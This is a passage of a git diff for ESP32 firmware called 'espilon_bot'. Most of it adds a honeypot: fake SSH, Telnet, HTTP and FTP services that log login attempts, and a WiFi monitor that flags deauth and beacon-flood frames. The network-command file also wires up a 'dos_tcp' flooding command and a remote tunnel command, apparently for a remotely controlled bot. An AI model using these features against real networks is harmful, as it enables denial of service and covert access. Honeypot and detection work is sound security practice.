"HP_SVC" + +#define SVC_STACK_SIZE 4096 +#define SVC_PRIORITY 4 +#define SVC_CORE 1 +#define ACCEPT_TIMEOUT_S 2 +#define CLIENT_TIMEOUT_S 5 + +/* ============================================================ + * Service descriptors + * ============================================================ */ +static hp_svc_desc_t services[HP_SVC_COUNT] = { + [HP_SVC_SSH] = { .name = "ssh", .port = 22 }, + [HP_SVC_TELNET] = { .name = "telnet", .port = 23 }, + [HP_SVC_HTTP] = { .name = "http", .port = 80 }, + [HP_SVC_FTP] = { .name = "ftp", .port = 21 }, +}; + +static const hp_client_handler_t handlers[HP_SVC_COUNT] = { + [HP_SVC_SSH] = handle_ssh_client, + [HP_SVC_TELNET] = handle_telnet_client, + [HP_SVC_HTTP] = handle_http_client, + [HP_SVC_FTP] = handle_ftp_client, +}; + +/* ============================================================ + * Name <-> ID mapping + * ============================================================ */ +int hp_svc_name_to_id(const char *name) +{ + for (int i = 0; i < HP_SVC_COUNT; i++) { + if (strcmp(services[i].name, name) == 0) + return i; + } + return -1; +} + +const char *hp_svc_id_to_name(hp_svc_id_t svc) +{ + if (svc >= HP_SVC_COUNT) return "unknown"; + return services[svc].name; +} + +/* ============================================================ + * Client IP helper + * ============================================================ */ +static void sockaddr_to_str(const struct sockaddr_in *addr, + char *ip_buf, size_t ip_len, + uint16_t *port_out) +{ + inet_ntoa_r(addr->sin_addr, ip_buf, ip_len); + *port_out = ntohs(addr->sin_port); +} + +/* ============================================================ + * Generic listener task + * ============================================================ */ +static void listener_task(void *arg) +{ + hp_svc_desc_t *svc = (hp_svc_desc_t *)arg; + int listen_fd = -1; + + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_port = htons(svc->port), + .sin_addr.s_addr = htonl(INADDR_ANY), + }; + + listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (listen_fd < 0) { + ESP_LOGE(TAG, "%s: socket() failed: %d", svc->name, errno); + goto done; + } + + int opt = 1; + setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); + + if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + ESP_LOGE(TAG, "%s: bind(%d) failed: %d", svc->name, svc->port, errno); + goto done; + } + + if (listen(listen_fd, 2) < 0) { + ESP_LOGE(TAG, "%s: listen() failed: %d", svc->name, errno); + goto done; + } + + struct timeval tv = { .tv_sec = ACCEPT_TIMEOUT_S, .tv_usec = 0 }; + setsockopt(listen_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + + ESP_LOGI(TAG, "%s listening on port %d", svc->name, svc->port); + svc->running = true; + + while (!svc->stop_req) { + struct sockaddr_in client_addr; + socklen_t clen = sizeof(client_addr); + int client_fd = accept(listen_fd, + (struct sockaddr *)&client_addr, &clen); + + if (client_fd < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK) + continue; + ESP_LOGW(TAG, "%s: accept error: %d", svc->name, errno); + continue; + } + + struct timeval ctv = { .tv_sec = CLIENT_TIMEOUT_S, .tv_usec = 0 }; + setsockopt(client_fd, SOL_SOCKET, SO_RCVTIMEO, &ctv, sizeof(ctv)); + + char client_ip[16]; + uint16_t client_port; + sockaddr_to_str(&client_addr, client_ip, sizeof(client_ip), + &client_port); + + hp_svc_id_t id = (hp_svc_id_t)(svc - services); + if (id < HP_SVC_COUNT && handlers[id]) { + handlers[id](client_fd, client_ip, client_port, svc); + } + + close(client_fd); + } + +done: + if (listen_fd >= 0) + close(listen_fd); + svc->running = false; + svc->stop_req = false; + ESP_LOGI(TAG, "%s stopped", svc->name); + svc->task = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ +void hp_svc_start(hp_svc_id_t svc) +{ + if (svc >= HP_SVC_COUNT) return; + hp_svc_desc_t *d = &services[svc]; + if (d->running || d->task) { + ESP_LOGW(TAG, "%s already running", d->name); + return; + } + + d->stop_req = false; + d->connections = 0; + d->auth_attempts = 0; + + char name[16]; + snprintf(name, sizeof(name), "hp_%s", d->name); + BaseType_t ret = xTaskCreatePinnedToCore(listener_task, name, SVC_STACK_SIZE, + d, SVC_PRIORITY, &d->task, SVC_CORE); + if (ret != pdPASS) { + ESP_LOGE(TAG, "Failed to create %s task", d->name); + d->task = NULL; + } +} + +void hp_svc_stop(hp_svc_id_t svc) +{ + if (svc >= HP_SVC_COUNT) return; + hp_svc_desc_t *d = &services[svc]; + if (!d->running && !d->task) { + ESP_LOGW(TAG, "%s not running", d->name); + return; + } + d->stop_req = true; + ESP_LOGI(TAG, "%s stop requested", d->name); +} + +bool hp_svc_running(hp_svc_id_t svc) +{ + if (svc >= HP_SVC_COUNT) return false; + return services[svc].running; +} + +int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len) +{ + if (svc >= HP_SVC_COUNT) return 0; + hp_svc_desc_t *d = &services[svc]; + return snprintf(buf, len, + "service=%s running=%s port=%d connections=%lu auth_attempts=%lu", + d->name, + d->running ? "yes" : "no", + d->port, + (unsigned long)d->connections, + (unsigned long)d->auth_attempts); +} + +#endif /* CONFIG_MODULE_HONEYPOT */ diff --git a/espilon_bot/components/mod_honeypot/hp_tcp_services.h b/espilon_bot/components/mod_honeypot/hp_tcp_services.h new file mode 100644 index 0000000..3bdc1e6 --- /dev/null +++ b/espilon_bot/components/mod_honeypot/hp_tcp_services.h @@ -0,0 +1,30 @@ +/* + * hp_tcp_services.h + * Lightweight TCP honeypot listeners (SSH, Telnet, HTTP, FTP). + * Each service runs as an independent FreeRTOS task. + */ +#pragma once + +#include + +typedef enum { + HP_SVC_SSH = 0, + HP_SVC_TELNET = 1, + HP_SVC_HTTP = 2, + HP_SVC_FTP = 3, + HP_SVC_COUNT +} hp_svc_id_t; + +/* Start / stop a single service */ +void hp_svc_start(hp_svc_id_t svc); +void hp_svc_stop(hp_svc_id_t svc); +bool hp_svc_running(hp_svc_id_t svc); + +/* Get service status line (key=value format) */ +int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len); + +/* Map service name string to id, returns -1 on unknown */ +int hp_svc_name_to_id(const char *name); + +/* Map id to name */ +const char *hp_svc_id_to_name(hp_svc_id_t svc); diff --git a/espilon_bot/components/mod_honeypot/hp_wifi_monitor.c b/espilon_bot/components/mod_honeypot/hp_wifi_monitor.c new file mode 100644 index 0000000..e8d25f3 --- /dev/null +++ b/espilon_bot/components/mod_honeypot/hp_wifi_monitor.c @@ -0,0 +1,320 @@ +/* + * hp_wifi_monitor.c + * WiFi promiscuous-mode monitor: probe requests, deauth frames, + * beacon flood, EAPOL capture detection. + * + * Sends EVT| events via event_send(). + * Conflict guard: refuses to start if the fakeAP sniffer is active. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_HONEYPOT + +#include +#include +#include + +#include "esp_wifi.h" +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "utils.h" +#include "event_format.h" +#include "hp_config.h" +#include "hp_wifi_monitor.h" + +#define TAG "HP_WIFI" + +#define WIFI_MON_STACK 4096 +#define WIFI_MON_PRIO 4 +#define WIFI_MON_CORE 1 + +/* Rate-limit counters (only report every N-th event) */ +#define PROBE_RATE_LIMIT 10 +#define DEAUTH_RATE_LIMIT 5 +#define BEACON_RATE_LIMIT 20 +#define EAPOL_RATE_LIMIT 3 + +/* Beacon flood detection: N beacons in BEACON_WINDOW_MS from same src */ +#define BEACON_FLOOD_THRESHOLD 50 +#define BEACON_WINDOW_MS 5000 + +/* ============================================================ + * State + * ============================================================ */ +static atomic_bool mon_running = false; +static atomic_bool mon_stop_req = false; +static TaskHandle_t mon_task = NULL; + +static uint32_t cnt_probe = 0; +static uint32_t cnt_deauth = 0; +static uint32_t cnt_beacon = 0; +static uint32_t cnt_eapol = 0; + +/* Multi-source beacon flood tracker */ +#define BEACON_TRACK_MAX 4 + +typedef struct { + uint8_t mac[6]; + uint32_t count; + uint32_t start; + bool alerted; +} beacon_tracker_t; + +static beacon_tracker_t beacon_trackers[BEACON_TRACK_MAX]; +static int beacon_tracker_count = 0; + +/* ============================================================ + * IEEE 802.11 helpers + * ============================================================ */ + +/* Frame control subtypes */ +#define WLAN_FC_TYPE_MGMT 0x00 +#define WLAN_FC_STYPE_PROBE 0x40 /* Probe Request */ +#define WLAN_FC_STYPE_BEACON 0x80 /* Beacon */ +#define WLAN_FC_STYPE_DEAUTH 0xC0 /* Deauthentication */ + +/* EAPOL: data frame with ethertype 0x888E */ +#define ETHERTYPE_EAPOL 0x888E + +static void mac_to_str(const uint8_t *mac, char *buf, size_t len) +{ + snprintf(buf, len, "%02x:%02x:%02x:%02x:%02x:%02x", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); +} + +/* ============================================================ + * Beacon flood helper — find or create tracker for MAC + * ============================================================ */ +static beacon_tracker_t *beacon_find_or_create(const uint8_t *mac, uint32_t now) +{ + /* Search existing */ + for (int i = 0; i < beacon_tracker_count; i++) { + if (memcmp(beacon_trackers[i].mac, mac, 6) == 0) + return &beacon_trackers[i]; + } + + /* Evict oldest if full */ + if (beacon_tracker_count >= BEACON_TRACK_MAX) { + int oldest = 0; + for (int i = 1; i < beacon_tracker_count; i++) { + if (beacon_trackers[i].start < beacon_trackers[oldest].start) + oldest = i; + } + if (oldest < beacon_tracker_count - 1) + beacon_trackers[oldest] = beacon_trackers[beacon_tracker_count - 1]; + beacon_tracker_count--; + } + + beacon_tracker_t *t = &beacon_trackers[beacon_tracker_count++]; + memcpy(t->mac, mac, 6); + t->count = 0; + t->start = now; + t->alerted = false; + return t; +} + +/* ============================================================ + * Promiscuous RX callback + * ============================================================ */ +static void wifi_monitor_rx_cb(void *buf, wifi_promiscuous_pkt_type_t type) +{ + if (!mon_running) + return; + + const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf; + const uint8_t *frame = pkt->payload; + uint16_t frame_len = pkt->rx_ctrl.sig_len; + + if (frame_len < 24) + return; + + uint8_t fc0 = frame[0]; + uint8_t fc_type = fc0 & 0x0C; /* bits 2-3 */ + uint8_t fc_subtype = fc0 & 0xF0; /* bits 4-7 */ + + /* Source MAC (addr2 = transmitter) at offset 10 */ + const uint8_t *src_mac = &frame[10]; + char mac_str[18]; + + if (type == WIFI_PKT_MGMT) { + if (fc_type == WLAN_FC_TYPE_MGMT) { + + /* --- Probe Request --- */ + if (fc_subtype == WLAN_FC_STYPE_PROBE) { + cnt_probe++; + if ((cnt_probe % PROBE_RATE_LIMIT) == 1) { + mac_to_str(src_mac, mac_str, sizeof(mac_str)); + char detail[64]; + snprintf(detail, sizeof(detail), "count=%lu", + (unsigned long)cnt_probe); + event_send("WIFI_PROBE", "LOW", + mac_str, "0.0.0.0", 0, 0, detail, NULL); + } + return; + } + + /* --- Deauthentication --- */ + if (fc_subtype == WLAN_FC_STYPE_DEAUTH) { + cnt_deauth++; + if ((cnt_deauth % DEAUTH_RATE_LIMIT) == 1) { + mac_to_str(src_mac, mac_str, sizeof(mac_str)); + char detail[64]; + snprintf(detail, sizeof(detail), "reason=%d count=%lu", + (frame_len >= 26) ? (frame[24] | (frame[25] << 8)) : 0, + (unsigned long)cnt_deauth); + event_send("WIFI_DEAUTH", "HIGH", + mac_str, "0.0.0.0", 0, 0, detail, NULL); + } + return; + } + + /* --- Beacon flood detection (multi-source) --- */ + if (fc_subtype == WLAN_FC_STYPE_BEACON) { + uint32_t now = (uint32_t)(xTaskGetTickCount() * + portTICK_PERIOD_MS); + + beacon_tracker_t *bt = beacon_find_or_create(src_mac, now); + + if ((now - bt->start) >= BEACON_WINDOW_MS) { + /* Window expired, reset */ + bt->start = now; + bt->count = 1; + bt->alerted = false; + } else { + bt->count++; + if (bt->count >= BEACON_FLOOD_THRESHOLD && !bt->alerted) { + bt->alerted = true; + cnt_beacon++; + mac_to_str(src_mac, mac_str, sizeof(mac_str)); + char detail[64]; + snprintf(detail, sizeof(detail), + "beacons=%lu window_ms=%d", + (unsigned long)bt->count, + BEACON_WINDOW_MS); + event_send("WIFI_BEACON_FLOOD", "HIGH", + mac_str, "0.0.0.0", 0, 0, detail, NULL); + } + } + return; + } + } + } + + /* --- EAPOL detection (data frames with 802.1X ethertype) --- */ + if (type == WIFI_PKT_DATA && frame_len >= 36) { + /* LLC/SNAP header starts at offset 24 for data frames: + * 24: AA AA 03 00 00 00 [ethertype_hi] [ethertype_lo] */ + if (frame[24] == 0xAA && frame[25] == 0xAA && frame[26] == 0x03) { + uint16_t ethertype = (frame[30] << 8) | frame[31]; + if (ethertype == ETHERTYPE_EAPOL) { + cnt_eapol++; + if ((cnt_eapol % EAPOL_RATE_LIMIT) == 1) { + mac_to_str(src_mac, mac_str, sizeof(mac_str)); + char detail[64]; + snprintf(detail, sizeof(detail), "count=%lu", + (unsigned long)cnt_eapol); + event_send("WIFI_EAPOL", "CRITICAL", + mac_str, "0.0.0.0", 0, 0, detail, NULL); + } + } + } + } +} + +/* ============================================================ + * Monitor task (just keeps alive, callback does the work) + * ============================================================ */ +static void wifi_monitor_task(void *arg) +{ + (void)arg; + + esp_err_t err = esp_wifi_set_promiscuous_rx_cb(wifi_monitor_rx_cb); + if (err != ESP_OK) { + ESP_LOGE(TAG, "set_promiscuous_rx_cb failed: %s", esp_err_to_name(err)); + goto done; + } + + err = esp_wifi_set_promiscuous(true); + if (err != ESP_OK) { + ESP_LOGE(TAG, "set_promiscuous(true) failed: %s", esp_err_to_name(err)); + goto done; + } + + /* Filter: management + data frames only */ + wifi_promiscuous_filter_t filter = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | + WIFI_PROMIS_FILTER_MASK_DATA + }; + esp_wifi_set_promiscuous_filter(&filter); + + ESP_LOGI(TAG, "WiFi monitor started"); + mon_running = true; + + /* Idle loop, checking for stop request */ + while (!mon_stop_req) { + vTaskDelay(pdMS_TO_TICKS(500)); + } + + esp_wifi_set_promiscuous(false); + esp_wifi_set_promiscuous_rx_cb(NULL); + +done: + mon_running = false; + mon_stop_req = false; + ESP_LOGI(TAG, "WiFi monitor stopped"); + mon_task = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ +void hp_wifi_monitor_start(void) +{ + if (mon_running || mon_task) { + ESP_LOGW(TAG, "WiFi monitor already running"); + return; + } + + cnt_probe = cnt_deauth = cnt_beacon = cnt_eapol = 0; + memset(beacon_trackers, 0, sizeof(beacon_trackers)); + beacon_tracker_count = 0; + mon_stop_req = false; + + BaseType_t ret = xTaskCreatePinnedToCore(wifi_monitor_task, "hp_wifi", + WIFI_MON_STACK, NULL, WIFI_MON_PRIO, &mon_task, WIFI_MON_CORE); + if (ret != pdPASS) { + ESP_LOGE(TAG, "Failed to create WiFi monitor task"); + mon_task = NULL; + } +} + +void hp_wifi_monitor_stop(void) +{ + if (!mon_running && !mon_task) { + ESP_LOGW(TAG, "WiFi monitor not running"); + return; + } + mon_stop_req = true; + ESP_LOGI(TAG, "WiFi monitor stop requested"); +} + +bool hp_wifi_monitor_running(void) +{ + return mon_running; +} + +int hp_wifi_monitor_status(char *buf, size_t len) +{ + return snprintf(buf, len, + "running=%s probes=%lu deauth=%lu beacon_flood=%lu eapol=%lu", + mon_running ? "yes" : "no", + (unsigned long)cnt_probe, + (unsigned long)cnt_deauth, + (unsigned long)cnt_beacon, + (unsigned long)cnt_eapol); +} + +#endif /* CONFIG_MODULE_HONEYPOT */ diff --git a/espilon_bot/components/mod_honeypot/hp_wifi_monitor.h b/espilon_bot/components/mod_honeypot/hp_wifi_monitor.h new file mode 100644 index 0000000..cefe728 --- /dev/null +++ b/espilon_bot/components/mod_honeypot/hp_wifi_monitor.h @@ -0,0 +1,13 @@ +/* + * hp_wifi_monitor.h + * WiFi promiscuous-mode monitor: probe requests, deauth frames, + * beacon flood, EAPOL capture detection. + */ +#pragma once + +#include + +void hp_wifi_monitor_start(void); +void hp_wifi_monitor_stop(void); +bool hp_wifi_monitor_running(void); +int hp_wifi_monitor_status(char *buf, size_t len); diff --git a/espilon_bot/components/mod_honeypot/services/svc_common.h b/espilon_bot/components/mod_honeypot/services/svc_common.h new file mode 100644 index 0000000..4e9d02f --- /dev/null +++ b/espilon_bot/components/mod_honeypot/services/svc_common.h @@ -0,0 +1,41 @@ +/* + * svc_common.h + * Shared types and helpers for honeypot TCP service handlers. + */ +#pragma once + +#include +#include +#include +#include + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "lwip/sockets.h" + +#include "utils.h" +#include "event_format.h" +#include "hp_config.h" + +#define MAX_CLIENT_BUF 256 + +/* Service runtime descriptor (owned by hp_tcp_services.c) */ +typedef struct { + const char *name; + uint16_t port; + volatile bool running; + volatile bool stop_req; + TaskHandle_t task; + uint32_t connections; + uint32_t auth_attempts; +} hp_svc_desc_t; + +/* Client handler signature */ +typedef void (*hp_client_handler_t)(int client_fd, const char *client_ip, + uint16_t client_port, hp_svc_desc_t *svc); + +/* Per-service handlers (implemented in svc_*.c) */ +void handle_ssh_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc); +void handle_telnet_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc); +void handle_http_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc); +void handle_ftp_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc); diff --git a/espilon_bot/components/mod_honeypot/services/svc_ftp.c b/espilon_bot/components/mod_honeypot/services/svc_ftp.c new file mode 100644 index 0000000..a898ef3 --- /dev/null +++ b/espilon_bot/components/mod_honeypot/services/svc_ftp.c @@ -0,0 +1,68 @@ +/* + * svc_ftp.c + * FTP honeypot handler — banner + USER/PASS capture + tarpit. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_HONEYPOT + +#include +#include "svc_common.h" + +void handle_ftp_client(int client_fd, const char *client_ip, + uint16_t client_port, hp_svc_desc_t *svc) +{ + char banner[128]; + hp_config_get_banner("ftp", banner, sizeof(banner)); + send(client_fd, banner, strlen(banner), 0); + + svc->connections++; + event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00", + client_ip, client_port, 21, "service=ftp", NULL); + + char user[64] = {0}, pass[64] = {0}; + + for (int round = 0; round < 4; round++) { + char buf[MAX_CLIENT_BUF]; + int n = recv(client_fd, buf, sizeof(buf) - 1, 0); + if (n <= 0) break; + buf[n] = '\0'; + + if (strncasecmp(buf, "USER ", 5) == 0) { + strncpy(user, buf + 5, sizeof(user) - 1); + user[sizeof(user) - 1] = '\0'; + char *p = user; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0'; + const char *resp = "331 Password required\r\n"; + send(client_fd, resp, strlen(resp), 0); + } else if (strncasecmp(buf, "PASS ", 5) == 0) { + strncpy(pass, buf + 5, sizeof(pass) - 1); + pass[sizeof(pass) - 1] = '\0'; + char *p = pass; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0'; + const char *resp = "530 Login incorrect\r\n"; + send(client_fd, resp, strlen(resp), 0); + break; + } else if (strncasecmp(buf, "QUIT", 4) == 0) { + const char *resp = "221 Goodbye\r\n"; + send(client_fd, resp, strlen(resp), 0); + break; + } else { + const char *resp = "500 Unknown command\r\n"; + send(client_fd, resp, strlen(resp), 0); + } + } + + if (user[0] || pass[0]) { + svc->auth_attempts++; + char detail[192]; + snprintf(detail, sizeof(detail), + "service=ftp user='%.32s' pass='%.32s'", user, pass); + event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00", + client_ip, client_port, 21, detail, NULL); + } + + int tarpit = hp_config_get_threshold("tarpit_ms"); + if (tarpit > 0) + vTaskDelay(pdMS_TO_TICKS(tarpit)); +} + +#endif diff --git a/espilon_bot/components/mod_honeypot/services/svc_http.c b/espilon_bot/components/mod_honeypot/services/svc_http.c new file mode 100644 index 0000000..503fd3d --- /dev/null +++ b/espilon_bot/components/mod_honeypot/services/svc_http.c @@ -0,0 +1,106 @@ +/* + * svc_http.c + * HTTP honeypot handler — request logging + POST body capture. + * Serves a fake login page to capture credentials. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_HONEYPOT + +#include "svc_common.h" + +/* Extract server name from NVS banner (e.g. "Apache/2.4.54 (Ubuntu)") */ +static void extract_server_name(char *out, size_t out_len) +{ + char banner[128]; + hp_config_get_banner("http", banner, sizeof(banner)); + + /* Banner format: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" */ + char *srv = strstr(banner, "Server: "); + if (srv) { + srv += 8; + char *end = strstr(srv, "\r\n"); + size_t len = end ? (size_t)(end - srv) : strlen(srv); + if (len >= out_len) len = out_len - 1; + memcpy(out, srv, len); + out[len] = '\0'; + } else { + snprintf(out, out_len, "Apache/2.4.54"); + } +} + +/* Login page body */ +static const char LOGIN_PAGE[] = + "Admin Panel" + "" + "

Authentication Required

" + "
" + "" + "" + "" + "
"; + +void handle_http_client(int client_fd, const char *client_ip, + uint16_t client_port, hp_svc_desc_t *svc) +{ + svc->connections++; + + char buf[MAX_CLIENT_BUF]; + int n = recv(client_fd, buf, sizeof(buf) - 1, 0); + if (n <= 0) return; + buf[n] = '\0'; + + /* Extract first line without modifying buf (needed for POST body search) */ + char first_line[130]; + char *eol = strstr(buf, "\r\n"); + size_t fl_len = eol ? (size_t)(eol - buf) : (size_t)n; + if (fl_len >= sizeof(first_line)) fl_len = sizeof(first_line) - 1; + memcpy(first_line, buf, fl_len); + first_line[fl_len] = '\0'; + + char detail[192]; + snprintf(detail, sizeof(detail), "service=http request='%.128s'", first_line); + event_send("SVC_CONNECT", "MEDIUM", "00:00:00:00:00:00", + client_ip, client_port, 80, detail, NULL); + + /* Check for POST data → auth attempt */ + if (strncmp(buf, "POST", 4) == 0) { + svc->auth_attempts++; + char *body = strstr(buf, "\r\n\r\n"); + if (body) { + body += 4; + char post_detail[192]; + snprintf(post_detail, sizeof(post_detail), + "service=http post='%.128s'", body); + event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00", + client_ip, client_port, 80, post_detail, NULL); + } + } + + /* Build proper HTTP response */ + char server_name[64]; + extract_server_name(server_name, sizeof(server_name)); + + int body_len = (int)sizeof(LOGIN_PAGE) - 1; + char resp_hdr[256]; + int hdr_len = snprintf(resp_hdr, sizeof(resp_hdr), + "HTTP/1.1 200 OK\r\n" + "Server: %s\r\n" + "Content-Type: text/html\r\n" + "Content-Length: %d\r\n" + "Connection: close\r\n\r\n", + server_name, body_len); + + send(client_fd, resp_hdr, hdr_len, 0); + send(client_fd, LOGIN_PAGE, body_len, 0); + + int tarpit = hp_config_get_threshold("tarpit_ms"); + if (tarpit > 0) + vTaskDelay(pdMS_TO_TICKS(tarpit)); +} + +#endif diff --git a/espilon_bot/components/mod_honeypot/services/svc_ssh.c b/espilon_bot/components/mod_honeypot/services/svc_ssh.c new file mode 100644 index 0000000..4aca04a --- /dev/null +++ b/espilon_bot/components/mod_honeypot/services/svc_ssh.c @@ -0,0 +1,42 @@ +/* + * svc_ssh.c + * SSH honeypot handler — banner + auth attempt capture + tarpit. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_HONEYPOT + +#include "svc_common.h" + +void handle_ssh_client(int client_fd, const char *client_ip, + uint16_t client_port, hp_svc_desc_t *svc) +{ + char banner[128]; + hp_config_get_banner("ssh", banner, sizeof(banner)); + send(client_fd, banner, strlen(banner), 0); + + svc->connections++; + event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00", + client_ip, client_port, 22, "service=ssh", NULL); + + /* Read client version string / auth attempt */ + char buf[MAX_CLIENT_BUF]; + int n = recv(client_fd, buf, sizeof(buf) - 1, 0); + if (n > 0) { + buf[n] = '\0'; + while (n > 0 && (buf[n-1] == '\r' || buf[n-1] == '\n')) + buf[--n] = '\0'; + + svc->auth_attempts++; + char detail[192]; + snprintf(detail, sizeof(detail), "service=ssh payload='%.128s'", buf); + event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00", + client_ip, client_port, 22, detail, NULL); + } + + int tarpit = hp_config_get_threshold("tarpit_ms"); + if (tarpit > 0) + vTaskDelay(pdMS_TO_TICKS(tarpit)); +} + +#endif diff --git a/espilon_bot/components/mod_honeypot/services/svc_telnet.c b/espilon_bot/components/mod_honeypot/services/svc_telnet.c new file mode 100644 index 0000000..c2e8acb --- /dev/null +++ b/espilon_bot/components/mod_honeypot/services/svc_telnet.c @@ -0,0 +1,60 @@ +/* + * svc_telnet.c + * Telnet honeypot handler — login prompt + user/pass capture + tarpit. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_HONEYPOT + +#include "svc_common.h" + +void handle_telnet_client(int client_fd, const char *client_ip, + uint16_t client_port, hp_svc_desc_t *svc) +{ + char banner[128]; + hp_config_get_banner("telnet", banner, sizeof(banner)); + send(client_fd, banner, strlen(banner), 0); + + svc->connections++; + event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00", + client_ip, client_port, 23, "service=telnet", NULL); + + /* Read username */ + char user[64] = {0}; + int n = recv(client_fd, user, sizeof(user) - 1, 0); + if (n > 0) { + user[n] = '\0'; + while (n > 0 && (user[n-1] == '\r' || user[n-1] == '\n')) + user[--n] = '\0'; + } + + /* Send password prompt */ + const char *pass_prompt = "Password: "; + send(client_fd, pass_prompt, strlen(pass_prompt), 0); + + char pass[64] = {0}; + n = recv(client_fd, pass, sizeof(pass) - 1, 0); + if (n > 0) { + pass[n] = '\0'; + while (n > 0 && (pass[n-1] == '\r' || pass[n-1] == '\n')) + pass[--n] = '\0'; + } + + if (user[0] || pass[0]) { + svc->auth_attempts++; + char detail[192]; + snprintf(detail, sizeof(detail), + "service=telnet user='%.32s' pass='%.32s'", user, pass); + event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00", + client_ip, client_port, 23, detail, NULL); + } + + const char *fail = "\r\nLogin incorrect\r\n"; + send(client_fd, fail, strlen(fail), 0); + + int tarpit = hp_config_get_threshold("tarpit_ms"); + if (tarpit > 0) + vTaskDelay(pdMS_TO_TICKS(tarpit)); +} + +#endif diff --git a/espilon_bot/components/mod_network/CMakeLists.txt b/espilon_bot/components/mod_network/CMakeLists.txt index 95587bb..c049707 100644 --- a/espilon_bot/components/mod_network/CMakeLists.txt +++ b/espilon_bot/components/mod_network/CMakeLists.txt @@ -1,3 +1,9 @@ -idf_component_register(SRCS "cmd_network.c" "mod_ping.c" "mod_proxy.c" "mod_arp.c" "mod_dos.c" +set(SRCS "cmd_network.c" "mod_ping.c" "mod_arp.c" "mod_dos.c") + +if(CONFIG_MODULE_TUNNEL) + list(APPEND SRCS "tun_core.c") +endif() + +idf_component_register(SRCS ${SRCS} INCLUDE_DIRS . - REQUIRES lwip protocol_examples_common esp_wifi core command) + REQUIRES lwip protocol_examples_common esp_wifi core) diff --git a/espilon_bot/components/mod_network/cmd_network.c b/espilon_bot/components/mod_network/cmd_network.c index 104824a..33e7f0c 100644 --- a/espilon_bot/components/mod_network/cmd_network.c +++ b/espilon_bot/components/mod_network/cmd_network.c @@ -11,16 +11,17 @@ #include "freertos/FreeRTOS.h" #include "freertos/task.h" - #include "command.h" #include "utils.h" - + +#ifdef CONFIG_MODULE_TUNNEL + #include "tun_core.h" +#endif + /* ============================================================ * EXTERNAL SYMBOLS * ============================================================ */ - int do_ping_cmd(int argc, char **argv); + int do_ping_cmd(int argc, char **argv, const char *req); void arp_scan_task(void *pvParameters); - void init_proxy(char *ip, int port); - extern int proxy_running; void start_dos(const char *t_ip, uint16_t t_port, int count); #define TAG "CMD_NETWORK" @@ -41,7 +42,7 @@ return -1; } - return do_ping_cmd(argc + 1, argv - 1); + return do_ping_cmd(argc, argv, req); } /* ============================================================ @@ -56,13 +57,15 @@ (void)argc; (void)argv; (void)ctx; - (void)req; - + + /* Heap-copy request_id for the scan task (freed inside arp_scan_task) */ + char *req_copy = req ? strdup(req) : NULL; + xTaskCreatePinnedToCore( arp_scan_task, "arp_scan", 6144, - NULL, + req_copy, 5, NULL, 1 @@ -71,55 +74,6 @@ return 0; } - /* ============================================================ - * COMMAND: proxy_start - * ============================================================ */ - static int cmd_proxy_start( - int argc, - char **argv, - const char *req, - void *ctx - ) { - (void)ctx; - - if (argc != 2) { - msg_error(TAG, "usage: proxy_start ", req); - return -1; - } - - if (proxy_running) { - msg_error(TAG, "proxy already running", req); - return -1; - } - - init_proxy(argv[0], atoi(argv[1])); - msg_info(TAG, "proxy started", req); - return 0; - } - - /* ============================================================ - * COMMAND: proxy_stop - * ============================================================ */ - static int cmd_proxy_stop( - int argc, - char **argv, - const char *req, - void *ctx - ) { - (void)argc; - (void)argv; - (void)ctx; - - if (!proxy_running) { - msg_error(TAG, "proxy not running", req); - return -1; - } - - proxy_running = 0; - msg_info(TAG, "proxy stopping", req); - return 0; - } - /* ============================================================ * COMMAND: dos_tcp * ============================================================ */ @@ -145,18 +99,101 @@ msg_info(TAG, "DOS task started", req); return 0; } - + +#ifdef CONFIG_MODULE_TUNNEL + /* ============================================================ + * COMMAND: tun_start + * ============================================================ */ + static int cmd_tun_start( + int argc, + char **argv, + const char *req, + void *ctx + ) { + (void)ctx; + + if (argc != 2) { + msg_error(TAG, "usage: tun_start ", req); + return -1; + } + + if (tun_is_running()) { + msg_error(TAG, "tunnel already running", req); + return -1; + } + + int port = atoi(argv[1]); + if (port <= 0 || port > 65535) { + msg_error(TAG, "invalid port", req); + return -1; + } + + if (!tun_start(argv[0], port, req)) { + msg_error(TAG, "tunnel start failed", req); + return -1; + } + + msg_info(TAG, "tunnel starting", req); + return 0; + } + + /* ============================================================ + * COMMAND: tun_stop + * ============================================================ */ + static int cmd_tun_stop( + int argc, + char **argv, + const char *req, + void *ctx + ) { + (void)argc; + (void)argv; + (void)ctx; + + if 